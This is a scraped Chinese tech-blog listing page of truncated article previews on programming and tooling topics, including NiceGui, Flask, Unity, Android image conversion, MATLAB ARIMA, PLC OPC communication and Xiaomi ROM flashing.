目录 一、引言 二、NiceGui概述 三、NiceGui实战&#xff1a;一个简单的计算器应用 四、NiceGui与其他GUI框架的比较 五、注意事项 总结与展望 一、引言 Python作为一门功能强大且易于学习的编程语言&#xff0c;广泛应用于各种领域。在图形用户界面&#xff08;GUI&…

【实战Flask API项目指南】之二 Flask基础知识

实战Flask API项目指南之 Flask基础知识 本系列文章将带你深入探索实战Flask API项目指南&#xff0c;通过跟随小菜的学习之旅&#xff0c;你将逐步掌握Flask 在实际项目中的应用。让我们一起踏上这个精彩的学习之旅吧&#xff01; 前言 当小菜踏入Flask后端开发的世界&…

CodeWhisperer 的安装及体验

文章作者&#xff1a;Pony CodeWhisperer 是亚马逊出品的一款基于机器学习的通用代码生成器&#xff0c;可实时提供代码建议。类似 Cursor 和 Github Copilot 编码工具。 官网&#xff1a;https://aws.amazon.com/cn/codewhisperer/?trkcndc-detail 在编写代码时&#xff0c…

【unity3D】使用RawImage实现UI上的帧动画

&#x1f4a6;本专栏是我关于游戏开发的笔记 &#x1f236;本篇是一个简短的小知识点 使用RawImage实现帧动画 找一个帧动画连续的图片拖到工程中&#xff0c;将Texture Type改成Sprite&#xff08;2D和UI&#xff09;&#xff0c;点击apply应用上 在工程中新建一个RawImage,将…

0基础学习VR全景平台篇第117篇:利用插件地拍补地 - PS教程

上课&#xff01;全体起立~ 大家好&#xff0c;欢迎观看蛙色官方系列全景摄影课程&#xff01; 嗨&#xff0c;大家好&#xff0c;今天我们来介绍【PS利用插件地拍补地】。 之前已经教给大家补地插件的安装方法&#xff0c;今天我们教给大家如何使用这个插件进行补地。 首…

Android和JNI交互 : 常见的图像格式转换 : NV21、RGBA、Bitmap等

1. 前言 最近在使用OpenCV处理图片的时候&#xff0c;经常会遇到需要转换图像的情况&#xff0c;网上相关资料比较少&#xff0c;也不全&#xff0c;有时候得费劲老半天才能搞定。 自己踩了坑后&#xff0c;在这里记录下&#xff0c;都是我在项目中遇到的图像转化操作&#xf…

unity3d 开发笔记

unity 3d Unity是一个游戏引擎&#xff0c;包含渲染引擎&#xff0c;物理引擎&#xff0c;碰撞检测&#xff0c;音效&#xff0c;动画效果&#xff0c;场景管理等系统。它的开发效率高、脚本使用C#开发、简单易用、跨平台&#xff08;可以导出各个平台的程序&#xff09;&…

abbyy15有哪些新功能更新改进?

可以说优化文档过程&#xff1a;ABBYY在一个工作流中对各种类型的文档进行数字化、检索、编辑、保护、共享和协作。不得不承认FineReader 15最大特色是采用了ABBYY最新推出的基于AI的OCR技术&#xff0c;能够更快速的在同一工作流程中对各种文档进行数字化、检索、编辑、加密、…

【原创】java+swing+mysql汽车租赁管理系统设计与实现

摘要&#xff1a; 汽车租赁管理系统是一个综合性的系统&#xff0c;旨在实现汽车租赁过程的自动化和优化。它涵盖了从客户预订、车辆管理&#xff0c;通过设计和实现汽车租赁管理系统&#xff0c;可以提高汽车租赁公司的运营效率和服务质量&#xff0c;降低运营成本&#xff0…

45基于matlab的ARIMA:AutoregressiveIntegratedMovingAverage model。

基于matlab的ARIMA&#xff1a;AutoregressiveIntegratedMovingAverage model。自回归差分移动平均模型(p,d,q)&#xff0c;AR自回归模型&#xff0c;MA移动平均模型&#xff0c;时间序列模型步骤包括&#xff1a;1. 数据平稳性检验&#xff1b;2. 确定模型参数&#xff1b;3. …

快速了解相似检索方法

一、相似检索方法总体分析 相似检索方法是一种用于从大量数据中找到与查询数据相似的数据项的技术。这种方法通常用于信息检索、推荐系统、图像处理、自然语言处理等领域。相似检索主要方法可以总体分为以下几类&#xff1a; 基于距离度量的方法&#xff1a; 余弦相似度&…

国产手机纷自研操作系统,“不作恶”的谷歌自食恶果

在中国第一家手机企业自研操作系统并取得成功之后&#xff0c;日前再有两家国产手机宣布自研操作系统&#xff0c;由此将导致安卓系统的基座开始被撼动&#xff0c;垄断很可能将就此终结。 谷歌曾声称自己“不作恶”&#xff0c;不过在安卓系统发展壮大之后&#xff0c;谷歌开始…

[C++]关键字,类与对象等——喵喵要吃C嘎嘎2

希望你开心&#xff0c;希望你健康&#xff0c;希望你幸福&#xff0c;希望你点赞&#xff01; 最后的最后&#xff0c;关注喵&#xff0c;关注喵&#xff0c;关注喵&#xff0c;大大会看到更多有趣的博客哦&#xff01;&#xff01;&#xff01; 喵喵喵&#xff0c;你对我真的…

小米手机刷EU版ROM教程

第一件事 拿到手机第一件事是登录账号&#xff0c;然后开启开发者模式&#xff0c;设置中搜索&#xff1a;手机解锁状态 绑定解锁账号&#xff0c;等168小时候才能解锁 提前下载软件包 官方解锁工具 官方Fastboot工具 recovery包&#xff1a;twrp ROM包 其他: EU rom论坛页…

Proteus仿真--数码管随机模拟显示乘法口诀(仿真文件+程序)

本文主要介绍基于51单片机的数码管随机模拟显示乘法口诀实验&#xff08;完整仿真源文件及代码见文末链接&#xff09; 仿真图如下 其中上方主要是6位显示数码管&#xff0c;使用方法点击左下方的按键开关实现不同的数字切换&#xff0c;按照乘法表进行 仿真运行视频 Prote…

Python入门教程——Python变量定义的简单使用介绍

文章目录 前言一、变量的定义二、变量的简单使用三、类型转换关于Python技术储备一、Python所有方向的学习路线二、Python基础学习视频三、精品Python学习书籍四、Python工具包项目源码合集①Python工具包②Python实战案例③Python小游戏源码五、面试资料六、Python兼职渠道 前…

接口测试用例设计详解

1.接口测试用例设计简介 我们对系统的需求分析完成之后&#xff0c;即可设计对应的接口测试用例&#xff0c;然后用接口测试用例进行接口测试。接口测试用例的设计也需要用到黑盒测试方法&#xff0c;其与功能测试用例设计的方法类似&#xff0c;接口测试用例设计中还需要增加…

MATLAB和S7-1200PLC OPC通信(激活S7-1200PLC OPCUA服务器)

MATLAB和SMART PLC OPC通信请参考下面文章博客: MATLAB和西门子SMART PLC OPC通信-CSDN博客文章浏览阅读123次。西门子S7-200SMART PLC OPC软件的下载和使用,请查看下面文章Smart 200PLC PC Access SMART OPC通信_基于pc access smart的opc通信_RXXW_Dor的博客-CSDN博客OPC是…

软考网络规划师复习第六章:基础网络实验

正文共&#xff1a;10086 字 120 图&#xff0c;预估阅读时间&#xff1a;11 分钟 目录 软考网络规划师复习第一章&#xff1a;Windows系统中的网络 0、序言 1、Windows系统中的网络1.1、桌面中的网卡1.2、命令行中的网卡1.3、路由表1.4、家用路由器 软考网络规划师复习第二章&…